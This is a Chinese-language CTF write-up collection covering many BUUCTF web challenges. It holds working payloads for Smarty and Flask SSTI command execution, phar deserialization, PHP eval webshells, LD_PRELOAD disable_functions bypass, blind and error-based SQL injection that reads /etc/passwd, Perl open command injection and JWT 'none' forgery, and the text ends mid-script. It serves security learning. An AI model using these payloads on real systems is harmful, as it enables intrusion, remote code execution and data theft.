0%

buu3

[CISCN2019 华东南赛区]Web11

最后一行提示smarty

即:Smarty SSTI

证明存在Smarty SSTI注入,只有一个花括号,构造payload:

{if readfile('/flag')}{/if}

补充smarty常用payload:

1
2
3
4
5
{if phpinfo()}{/if}
{if system('ls')}{/if}
{ readfile('/flag') }
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if}

ARP协议

[CISCN2019 华北赛区 Day1 Web1]Dropbox

open_basedir

在in_set这个函数中,可以设置php的一些配置,其中就包括open_basedir ,用来限制当前程序可以访问的目录,它是可以访问设置目录下的所有下级目录。
如果“open_basedir = /dir/user”, 那么目录 “/dir/user” 和 “/dir/其他任何有的目录”都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。”.”可代表当前目录,open_basedir也可以同时设置多个目录,在Windows中用分号分隔目录,在任何其它系统中用冒号分隔目录。
如:ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”); 就是只可以访问当前目录(getcwd()返回当前目录)、/etc和/tmp三个目录

chdir() mkdir()

chdir() 现实目录跳跃,所以下载时要加../

首先注册登陆,可以上传文件,抓包发现,下载的文件参数可控,存在任意文件下载。

尝试下载index.php文件,返回不存在此文件。通过../进行下一目录访问

成功下载index.php文件。发现还有login.php,class.php,存在序列化。还存在delete.php,upload.php。

不需要每个都看,有侧重点。

看一下大佬总结的wp

首先题目就有提示有关phar

我们可以把一个序列化的对象,储存在phar格式的文件中,生成后(一定要是生成后),即使我们把格式给改了,也不影响它的作用:用一些文件包含函数,如果我们以phar://协议去访问这个文件,那么就可以把那个对象给反序列化。

我们就让$this->db = new FileList(),让它去调用close,然后调用__call(),然后再调用 __destruct()函数,打印结果

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
// add object of any class as meta data
class User
{
public $db;
}
class FileList
{
private $files;
public function __construct()
{
$this->files=array(new File());
}
}
class File
{
public $filename='/flag.txt';
}

$b=new FileList();
$c=new User();
$c->db=$b;//User类对象销毁,调用db变量中的close方法

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($c);
$phar->stopBuffering();
?>

为了在本地生成phar文件,记得在php.ini配置文件里面修改phar.readonly设置为off,再上传读取。

[BSidesCF 2019]Futurella

f12查看源码,就有flag。

[GWCTF 2019]枯燥的抽奖

访问check.php,有源码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

每次产生的字符串都是随机的,让我们自己去猜,是不可能猜到的,这里还要求严格等于,不能使用之前的方法绕过。

其实在前面学习c语言的时候就遇到过rand函数产生的是随机数,需要通过time(0)返回值做随机种子。

这里我们就需要通过给我们的伪随机数,获取种子,再通过种子获得完整的随机数。需要通过脚本实现。

1
2
3
4
5
6
7
8
9
10
# -*- coding: utf-8 -*-
s = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
key = 'C2EHFSxFPp'
m = ''
for i in key:
for j in range(len(s)):
if i == s[j]:
m += "{} {} 0 {} ".format(j,j,len(s)-1)
print(m)
# 38 38 0 61 28 28 0 61 40 40 0 61 43 43 0 61 41 41 0 61 54 54 0 61 23 23 0 61 41 41 0 61 51 51 0 61 15 15 0 61

使用工具:php_mt_seed4.0

安装教程及注意事项

输入

./php_mt_seed 38 38 0 61 28 28 0 61 40 40 0 61 43 43 0 61 41 41 0 61 54 54 0 61 23 23 0 61 41 41 0 61 51 51 0 61 15 15 0 61

进行破解,得到数字109706244

然后再通过函数mt_rand()产生字符串

1
2
3
4
5
6
7
8
9
10
<?php
mt_srand(109706244);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
?>

再次输入完整字符串,得到flag。

[MRCTF2020]套娃

f12源码中就存在需要我们绕过的,符合题目的套娃,层层递进。

想到这里跟前面php字符串解析特性有关系,前面有一题是通过在num参数前加空格会被解析成num(自动把空格去掉了)。

php字符串解析特性

于php字符串解析特性,会把包括空格内的某些字符转化成下划线

我们可以通过空格代替_下划线。

在绕过第二个通过换行符%0a经url加密后。得到最后payload:

1
?b u p t=23333%0a

得到flag在文件secrettw.php

需要本地才能,我们使用burp,添加xff消息头。

得到一段jsfuck编码,f12到控制台中输入,弹出post提交Merak

我们随便post提交参数Merak一下,源码就出来了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}


function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

通过存在file_get_contents()读取通过get提交参数2333的内容,通过伪协议data://数据流封装器,以传递相应格式的数据。

这里可以不进行base64加密操作,

payload:

1
?2333=data://text/plain,todat is a happy day

还有这里xff给ban了,我们使用Client-IP进行IP伪造,Client的IP是通过http的头部发送到server端的。

这里对file传入的参数加密了,

通过change函数的作用,传入的参数先进行base64解码,然后将字符转化成ASCII并且+$i2*

char()把ascii转成字符串,ord()把字符串变ascii码

我们通过加密脚本,反写一个解密脚本。先把字符串转成ascii码,再-$i2,最后base64编码。*

很简单,只是一个顺序问题,还有加减问题。

1
![8](buu3/8.png)<?phpfunction unchange($v){     $re = '';     for($i=0;$i<strlen($v);$i++){         $re .= chr ( ord ($v[$i]) - $i*2 );     }     return base64_encode($re); }echo unchange("flag.php");?>

得到

ZmpdYSZmXGI=

不放心,可以放进change函数跑一下,最后拿到flag,这种只有一段源码需要分析的其实相对清晰一些。

完整payload:

1
?2333=data://text/plain,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI=

这里多加%20进行连接,不然会跳400.

[极客大挑战 2019]RCE ME

标题很直接,直接提示rce。无参数攻击。

1
<?phperror_reporting(0);if(isset($_GET['code'])){            $code=$_GET['code'];                    if(strlen($code)>40){                                        die("This is too Long.");                                                }                    if(preg_match("/[A-Za-z0-9]+/",$code)){                                        die("NO.");                                                }                    @eval($code);}else{            highlight_file(__FILE__);}// ?>

限制传入参数长度小于40,并且把字母数字全部过滤了,

先看看php代码执行过滤的一些绕过方法

总结的很好,这里我们通过对PHP>=7时,可以直接利用取反构造payload来绕过,先查看一下phpinfo信息。对于rce,我们都可以先通过phpinfo()检测是否有效。

这里需要在在线编辑器进行,得到%8F%97%8F%96%91%99%90

payload:

1
?code=(~%8F%97%8F%96%91%99%90)();

看到禁用函数有:

1
禁用的函数:pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl

但是常用assert()函数没被禁,我们可以写入一句话木马,再用蚁剑连接。

1
<?php //error_reporting(0);$a='assert';$b=urlencode(~$a);echo $b;echo '.................';$c='(eval($_POST[1]))';$d=urlencode(~$c);echo $d;?>

生成:

1
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);

检测shell是可用的,但是蚁剑连不上。第二天一做成功连接,但是flag文件里面内容为空,存在一个readflag。我们需要执行执行这个readflag,但是太多函数被禁用了,绕过这些禁用,我们可以通过使用linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE

参考https://www.anquanke.com/post/id/175403

EXP

由于在/var/tmp目录有上传权限,我们可以上传禁用函数绕过的文件,上传bypass_disablefun_x64.so和bypass_disablefunc.php(重命名为shell.php)

这里劫持共享so的具体操作可以参考:http://0xcreed.jxustctf.top/2019/10/bypass-disable-functions/

最后通过异或的方法执行readflag。

1
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

[WUSTCTF2020]颜值成绩查询

有个查询成绩框,尝试各种sql注入,感觉就只能盲注了。

这里附上的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

s=requests.session()
flag = ''
for i in range(1,50):
for j in '{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_=-0123456789,./?|}':
url="http://101.200.53.102:10114/?stunum=if((select(substr(group_concat(value),{},1))from/**/flag)='{}',1,2)".format(i,j)
c = s.get(url ,timeout=3)
#print c.text
if 'Hi admin' in c.text:
flag += j
print(flag)
break

[BSidesCF 2019]Kookie

把cookie内容修改成username=admin即可。

[FBCTF2019]RCEService

传入json格式的命令,

我们传入cmd。

1
{"cmd":"ls"}

得到一个index.php文件,尝试读取内容,存在过滤。

直接看源码

1
<?phpputenv('PATH=/home/rceservice/jail');if (isset($_REQUEST['cmd'])) {  $json = $_REQUEST['cmd'];  if (!is_string($json)) {    echo 'Hacking attempt detected<br/><br/>';  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {    echo 'Hacking attempt detected<br/><br/>';  } else {    echo 'Attempting to run command:<br/>';    $cmd = json_decode($json, true)['cmd'];    if ($cmd !== NULL) {      system($cmd);    } else {      echo 'Invalid input';    }    echo '<br/><br/>';  }}?>

过滤了很多函数,绕过preg_match()函数,第一种方法:因为preg_match只会去匹配第一行,所以这里可以用多行进行绕过,

源码中可以看到putenv(‘PATH=/home/rceservice/jail’)已经修改了环境变量,我们只能用绝对路径来调用系统命令

cat命令在/bin中保存,所以构造payload:

1
{%0a"cmd": "/bin/cat /home/rceservice/flag"%0a}

这里的payload要使用hackbar,不然%0a会被再一次url编码而导致失效。

方法二:

使用脚本进行回溯次数绕过

参考

[CISCN2019 总决赛 Day2 Web1]Easyweb

fuzz测试,得到源码。

1
<?phpinclude "config.php";$id=isset($_GET["id"])?$_GET["id"]:"1";$path=isset($_GET["path"])?$_GET["path"]:"";$id=addslashes($id);$path=addslashes($path);$id=str_replace(array("\\0","%00","\\'","'"),"",$id);$path=str_replace(array("\\0","%00","\\'","'"),"",$path);$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");$row=mysqli_fetch_array($result,MYSQLI_ASSOC);$path="./" . $row["path"];header("Content-Type: image/jpeg");readfile($path);?>

*这里有个转义函数,为了防止单引号注入,如果传入\0就会变成\\0,同时有个正则替换,这样就变成了只剩一个\*

这个反斜杠正好可以转义后面的查询语句中闭合id的单引号的反斜杠,

1
#这里直接爆密码,还有类似爆前面的库名表名等等。import requestsurl='http://f5dfd7dd-277f-4b79-bfbc-e1021dfd509f.node3.buuoj.cn/image.php?id=\\0&path= or id='flag=''for i in range(1,21):	min=32;	max=125;	while 1:		j=min+(max+min)/2		if min==j:			flag+=chr(j)			print(flag)			break					payload="if (ascii(substr((select password from users),{},1))<{},1,2)%23".format(i,j);				r=requests.get(url=url+payload).text				if len(r)==117007:            max=j        else :            min=j

爆破得到密码,用户名为admin登陆,存在文件上传。

这里会将文件名和用户名写入日志文件,同时这里日志文件为php格式,所以通过文件名进行注入,因为文件名会被写入日志文件中,可以执行php代码。不能上传php文件。对文件名过过滤了,新学了php短标签,将php换成=

1
<?= @eval($_POST[1]);?>

本题关键:反斜杠转义作用,盲注脚本注入,PHP短标签

[Zer0pts2020]Can you guess it?

1
<?phpinclude 'config.php'; // FLAG is defined in config.phpif (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {  exit("I don't know what you are thinking, but I won't let you read it :)");}if (isset($_GET['source'])) {  highlight_file(basename($_SERVER['PHP_SELF']));  exit();}$secret = bin2hex(random_bytes(64));if (isset($_POST['guess'])) {  $guess = (string) $_POST['guess'];  if (hash_equals($secret, $guess)) {    $message = 'Congratulations! The flag is: ' . FLAG;  } else {    $message = 'Wrong.';  }}?>

这里通过输入正确答案没法绕过,我们需要从config.php读取flag,config.php被正则过滤了,这里有个basename()函数,先看看它的作用。

$_SERVER[‘PHP_SELF’]返回的是当前正在执行的脚本的名字

当我们传入这样的路径,最后就是highlight_file(config.php),但是被正则替换了,我们要想办法绕过。

可以通过一些特殊url编码符号绕过,如%0a,%0b,%0c,%0d,%20等等。

我们使用%20,返回的是index.php。

我们加上?source,对config.php,进行访问,换了很多个符合,都无法访问。

这里肯定跟basename函数一些特性有关系,basename()函数存在一个问题,它会去掉文件名开头的非ASCII值

ASCII值范围为0-255,但ASCII码并没有规定编号为128~255的字符,ASCII表范围为0-127,也就是我们传入128以上的数值,即可绕过正则,128 -> 0x80

转化成url编码就是%80

本题关键:对黑名单绕过结合basename函数漏洞

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

发现存在五个php文件,index,search,delete,charge,confirm。怎么感觉又是反序列化。

没拿到源码,我们先尝试尝试,search.php能否实现什么查询功能。

订单查询只需要输入姓名,电话即可查询地址,看看能不能执行我们传入的代码,只起到打印的作用。

还尝试一下有没有ssti注入。

看到源码中提示?file=

尝试直接读取index.php,不行。

通过php伪协议读取成功。

index.php

1
<?phpini_set('open_basedir', '/var/www/html/');// $file = $_GET["file"];$file = (isset($_GET['file']) ? $_GET['file'] : null);if (isset($file)){    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {        echo('no way!');        exit;    }    @include($file);}?><!--?file=?-->

search.php

1
<?phprequire_once "config.php"; if(!empty($_POST["user_name"]) && !empty($_POST["phone"])){    $msg = '';    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';    $user_name = $_POST["user_name"];    $phone = $_POST["phone"];    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){         $msg = 'no sql inject!';    }else{        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";        $fetch = $db->query($sql);    }    if (isset($fetch) && $fetch->num_rows>0){        $row = $fetch->fetch_assoc();        if(!$row) {            echo 'error';            print_r($db->error);            exit;        }        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";    } else {        $msg = "未找到订单!";    }}else {    $msg = "信息不全";}?>

change.php

1
<?phprequire_once "config.php";if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"])){    $msg = '';    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';    $user_name = $_POST["user_name"];    $address = addslashes($_POST["address"]);    $phone = $_POST["phone"];    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){        $msg = 'no sql inject!';    }else{        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";        $fetch = $db->query($sql);    }    if (isset($fetch) && $fetch->num_rows>0){        $row = $fetch->fetch_assoc();        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];        $result = $db->query($sql);        if(!$result) {            echo 'error';            print_r($db->error);            exit;        }        $msg = "订单修改成功";    } else {        $msg = "未找到订单!";    }}else {    $msg = "信息不全";}?>

confirm.php

1
<?phprequire_once "config.php";//var_dump($_POST);if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"])){    $msg = '';    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';    $user_name = $_POST["user_name"];    $address = $_POST["address"];    $phone = $_POST["phone"];    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){        $msg = 'no sql inject!';    }else{        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";        $fetch = $db->query($sql);    }    if($fetch->num_rows>0) {        $msg = $user_name."已提交订单";    }else{        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";        $re = $db->prepare($sql);        $re->bind_param("sss", $user_name, $address, $phone);        $re = $re->execute();        if(!$re) {            echo 'error';            print_r($db->error);            exit;        }        $msg = "订单提交成功";    }} else {    $msg = "信息不全";}?>

delete.php

1
<?phprequire_once "config.php";if(!empty($_POST["user_name"]) && !empty($_POST["phone"])){    $msg = '';    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';    $user_name = $_POST["user_name"];    $phone = $_POST["phone"];    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){         $msg = 'no sql inject!';    }else{        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";        $fetch = $db->query($sql);    }    if (isset($fetch) && $fetch->num_rows>0){        $row = $fetch->fetch_assoc();        $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);        if(!$result) {            echo 'error';            print_r($db->error);            exit;        }        $msg = "订单删除成功";    } else {        $msg = "未找到订单!";    }}else {    $msg = "信息不全";}?>

哈哈哈不是反序列化问题,应该是sql注入。但是过滤了很多函数,仔细看change.php就会发现update存在注入,过滤没有那么严格。

1
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

构造payload读取flag.txt文件。

前面修改地址的时候,为了测试sql注入,后面需要改过来,不然会一直报错,因为在执行update前面的旧地址多了一个单引号导致一直报错。

payload:

1
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,60)),0x7e),1)#

两次分别返回部分的flag。

这里记得第二次要删除订单再第二次报错注入。不然只会返回第一次查询的结果,也是因为会更新的原因,同上。

[网鼎杯 2018]Comment

登陆,根据提示爆破密码最后三位,是666

想看看有没有git源码泄露,好像没有。

再添加一个config看看,

有文件返回,说明存在git源码泄露。

使用githack,下载一下。好像下不得

需要进行恢复一下。

还是太菜了,没恢复出来,网上拿一下源码。

1
//write_do.php<?phpinclude "mysql.php";session_start();if($_SESSION['login'] != 'yes'){    header("Location: ./login.php");    die();}if(isset($_GET['do'])){switch ($_GET['do']){case 'write':    $category = addslashes($_POST['category']);    $title = addslashes($_POST['title']);    $content = addslashes($_POST['content']);    $sql = "insert into board            set category = '$category',                title = '$title',                content = '$content'";    $result = mysql_query($sql);    header("Location: ./index.php");    break;case 'comment':    $bo_id = addslashes($_POST['bo_id']);    $sql = "select category from board where id='$bo_id'";    $result = mysql_query($sql);    $num = mysql_num_rows($result);    if($num>0){    $category = mysql_fetch_array($result)['category'];    $content = addslashes($_POST['content']);    $sql = "insert into comment            set category = '$category',                content = '$content',                bo_id = '$bo_id'";    $result = mysql_query($sql);    }    header("Location: ./comment.php?id=$bo_id");    break;default:    header("Location: ./index.php");}}else{    header("Location: ./index.php");}?>

这里有个函数addslashes,我们在前面sql靶场见过,它看似起到了防护作用,其实导致更容易注入,复习一下。

addslashes函数绕过技巧

本题为二次注入,在comment部分从数据库中取出的category没有过滤,造成了二次注入。

通过多行注释符,/**/,最后拼接的结果:

1
$sql = "insert into comment set category = '1',content=user(),/* ', content = ' */#', bo_id = '$bo_id'";

这里就我们就可以闭合语句,成功注入我们想要的语句。通过content展示我们想要的内容。

先把

1
',content=user(),/*

传入category,再把注释符传入content。

1
*/#

查看到用户为

看到用户为root,如此高的权限,可以尝试使用load_file()读取文件

payload:

1
', content=load_file('/etc/passwd'),/*

读取一下历史操作

1
', content=load_file('/home/www/.bash_history'),/*

整理一下:

1
cd /tmpunzip html.zip#解压rm -rf html.zip#删除压缩包cp -r html /var/www/cd /var/www/htmlrm -rf .DS_Store

发现路径/var/www/html .DS_Store文件被删除了,但/tmp/html目录下的.DS_Store文件还在,读取一下。

1
', content=load_file('/tmp/html/.DS_Store'),/*

返回的东西好像有的没办法读取,我们通过十六进制输出,

1
', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

转化发现文件flag_8946e1ff1ee3e40f.php

1
', content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

最后拿到flag。

[RCTF2015]EasySQL

15年的sql题,有点早了。

有个修改密码的,感觉像二次注入,实现修改管理员密码。

当我们注册用户名时加入双引号,再到修改密码时,报错。

开始通过注册用户名来实现注入,fuzz测试,空格被过滤了。

报错注入,

1
1"||updatexml(1,concat(0x7c,database()),1)#

爆表

1
1"||updatexml(1,concat(0x7c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#

爆字段名,为flag。

拿flag

1
1"||updatexml(1,concat(0x7c,(select(group_concat(flag))from(flag))),1)#

这里如果有括号就不需要再加单引号表示字符串了。

假的flag。

尝试一下爆users表。

希望这次别再把戏了。

这个表名不完整,真的像个小丑。

盲猜是

real_flag_1s_here

这返回的是啥,果然投机取巧不行。

这里主要应该是想让我们突然长度限度,之前再学习报错注入的时候,也经常有这样的问题。

这里空格被过滤了,想使用limit函数不太行。

学习新技法,正则匹配

通过正则匹配读flag。

payload:

1
1"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1)#

只拿到一部分flag。

这里使用不了right,被过滤了,可以使用逆序输出reverse。

payload:

1
1"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

通过php函数sttrev函数再逆序输出,

或者通过python,列表方法输出。

本题关键:正则匹配寻找flag技巧突破报错函数长度限制,同时使用函数reverse()进行逆序输出利用

[CSCCTF 2019 Qual]FlaskLight

存在ssti注入,提示很明显。

f12查看源码,根据提示get方法,通过search参数。构造相关payload。证明存在ssti注入。

查看一下类,

尝试查看所有类,也可以查看,想通过catch_warnings类,还有命令执行,都行不通。

学会使用一个新子类,subprocess.Popen。我们通过python脚本来爆破出subprocess.Popen子类位置。

1
import requestsimport htmlimport timefor i in range(0,300):    time.sleep(0.06)    url='http://a7d6afce-442f-47cb-840a-b35cd23f0e70.node3.buuoj.cn?search={{\'\'.__class__.__mro__[2].__subclasses__()[%d]}}' %(i)    r = requests.get(url)    #print(url)    if "subprocess.Popen" in html.unescape(r.text):        print(i)        break

258

payload:

1
{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

通过查找得到最后的payload:

1
{{''.__class__.__mro__[2].__subclasses__()[258]('cat ../flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

得到flag。

[HITCON 2017]SSRFme

1
<?php    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];    }    echo $_SERVER["REMOTE_ADDR"];    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);    @mkdir($sandbox);    @chdir($sandbox);    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));    $info = pathinfo($_GET["filename"]);    $dir  = str_replace(".", "", basename($info["dirname"]));    @mkdir($dir);    @chdir($dir);    @file_put_contents(basename($info["basename"]), $data);    highlight_file(__FILE__);

shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数,之前就遇到过,和escapeshellcmd配合形成漏洞。

pathinfo() 函数以数组的形式返回文件路径的信息。

代码审计,首先创建一个沙盒文件夹,路径为sandbox/加上MD5加密过后的orange加页面输出的ip

通过url参数传入的内容执行命令,把以filename参数传入的内容命名文件,最后把结果存入。

方法:FILE 协议利用 OPEN 命令执行。

构造payload:

1
?url=/&filename=123

先尝试访问一下文件,

1
http://6d22ac66-1a1c-40d8-8ac8-4fa47d32a90e.node3.buuoj.cn/sandbox/fcf2bccafc269c160382150a0166d632/123

看到readflag,

1

GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理

open存在命令执行,并且还支持file函数

直接使用file协议的open命令执行payload:

1
?url=file:bash -c /readflag|&filename=123

这里要特别注意这个命令执行的使用,首先得满足前面的文件存在, 才会继续到open语句

1
?url=file:bash -c /readflag|&filename=bash -c /readflag|/?url=file:bash -c /readflag|&filename=123/sandbox/fcf2bccafc269c160382150a0166d632/123

参考

本题关键:file协议利用open命令执行

[HFCTF2020]EasyLogin

尝试登陆admin,弹窗

尝试注册,也注册不来,感觉需要我们以admin身份登陆拿flag。

百度了一下split,感觉跟js代码有关系,找一下。

f12可以看到app.js,访问。

提示是基于Node.js的koa框架,但是这个页面的代码并不是逻辑代码,用处不大。
在注释里提示静态文件处理出现问题,那么可能会出现任意文件读取漏洞

这里需要对koa框架的目录有一定的了解。

其中controllers目录是项目控制器存放目录:接受请求,处理逻辑

访问controllers/api.js发现处理逻辑

1
const crypto = require('crypto');const fs = require('fs')const jwt = require('jsonwebtoken')const APIError = require('../rest').APIError;module.exports = {    'POST /api/register': async (ctx, next) => {        const {username, password} = ctx.request.body;        if(!username || username === 'admin'){            throw new APIError('register error', 'wrong username');        }        if(global.secrets.length > 100000) {            global.secrets = [];        }        const secret = crypto.randomBytes(18).toString('hex');        const secretid = global.secrets.length;        global.secrets.push(secret)        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});        ctx.rest({            token: token        });        await next();    },    'POST /api/login': async (ctx, next) => {        const {username, password} = ctx.request.body;        if(!username || !password) {            throw new APIError('login error', 'username or password is necessary');        }        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;        console.log(sid)        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {            throw new APIError('login error', 'no such secret id');        }        const secret = global.secrets[sid];        const user = jwt.verify(token, secret, {algorithm: 'HS256'});        const status = username === user.username && password === user.password;        if(status) {            ctx.session.username = username;        }        ctx.rest({            status        });        await next();    },    'GET /api/flag': async (ctx, next) => {        if(ctx.session.username !== 'admin'){            throw new APIError('permission error', 'permission denied');        }        const flag = fs.readFileSync('/flag').toString();        ctx.rest({            flag        });        await next();    },    'GET /api/logout': async (ctx, next) => {        ctx.session.username = null;        ctx.rest({            status: true        })        await next();    }};

可以伪造jwt进行登陆。

其实前面应该先用burp抓包一下,思路更明显,直接发现JWT.其实题目提示也很明显,登陆。

JWT支持算法为None,如果alg字段为None,签名会被置空,这样任何的token都是有效的,后端将不执行签名验证

深入了解JWT攻击

通过网站https://jwt.io/

得到数据,然后伪造,置为none,让”secretid”为空,他的加密算法就为空,所以那个加密就废了

或者,下面分开base64编码。

1
{"alg":"none","typ":"JWT"}.{"secretid":[],"username": "admin","password": "123456","iat": 1587632063}.

这里base64加密都不加.

加密后有等号,去掉,再分别加上.

两个都是这样,最后拼接。

得到

1
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjogImFkbWluIiwicGFzc3dvcmQiOiAiMTIzNDU2IiwiaWF0IjogMTU4NzYzMjA2M30.

点击get flag,然后抓包go。

也可以通过python进行加密,python有JWT模块,

1
import jwttoken = jwt.encode({  "secretid": [],  "username": "admin",  "password": "123456",  "iat": 1590657826},algorithm="none",key="").decode(encoding='utf-8')print(token)

[GYCTF2020]Ezsqli

—sql盲注+无列名注入

fuzz测试一下,发现||没被过滤,information被过滤了,应该是和无列名注入有关了。

测试回显

1
id=2||1=1

正确返回,Nu1L

1
id=2||1=2

错误返回,V&N

爆数据库名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import time
url="http://637c56e9-8e90-4d3c-8f52-76fc2058a8bf.node4.buuoj.cn/index.php"
flag=""
